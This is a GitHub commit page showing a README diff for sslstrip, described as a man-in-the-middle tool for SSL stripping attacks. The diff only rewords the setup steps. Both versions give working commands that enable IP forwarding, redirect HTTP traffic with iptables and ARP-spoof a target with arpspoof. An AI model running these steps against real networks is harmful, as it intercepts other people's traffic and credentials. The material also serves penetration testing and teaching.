Skip to content

Commit

Permalink
Merge pull request #2 from leebaird/master
Browse files Browse the repository at this point in the history
Cleaned up instructions.
  • Loading branch information
L1ghtn1ng authored Nov 25, 2021
2 parents fd4452c + ef32872 commit cfdfe1f
Showing 1 changed file with 14 additions and 11 deletions.
25 changes: 14 additions & 11 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,23 +1,26 @@
sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks.

Ported from Python v2 to v3 by Jay Townsend (theHarvester, Discover and DNSrecon).
Ported from Python v2 to v3 by Jay Townsend (theHarvester, Discover, and DNSrecon).
* [![Twitter Follow](https://img.shields.io/twitter/follow/jay_townsend1.svg?style=social&label=Follow)](https://twitter.com/jay_townsend1) Jay "L1ghtn1ng" Townsend @jay_townsend1

Installing:
pip3 install -r requirements.txt
Run 'python setup.py install' as root to install or run it out of the directory.
Requirements:
```pip3 install -r requirements.txt```

Running:
Run as root to install or run it out of the directory:
```python3 setup.py install```

Running:
sslstrip can be run from the source base without installation.
Run 'python3 sslstrip.py -h' as a non-root user to get the command-line options.
Run as a normal user to see options.
```python3 sslstrip.py -h```

1. Enable IP forwarding (as root):<br>
1. As root, enable IP forwarding:<br>
```echo "1" > /proc/sys/net/ipv4/ip_forward```

2. Setup iptables to intercept HTTP requests (as root):<br>
```iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <yourListenPort>```
2. As root, setup iptables to intercept HTTP requests:<br>
```iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <your listen port>```

3. Run sslstrip with the options you prefer.

4. Run arpspoof to redirect traffic to your machine (as root):<br>
```arpspoof -i <yourNetworkdDevice> -t <yourTarget> <theRoutersIpAddress>```
4. As root, run arpspoof to redirect traffic to your host:<br>
```arpspoof -i <your network interface> -t <target IP> <routers IP>```

0 comments on commit cfdfe1f

Please sign in to comment.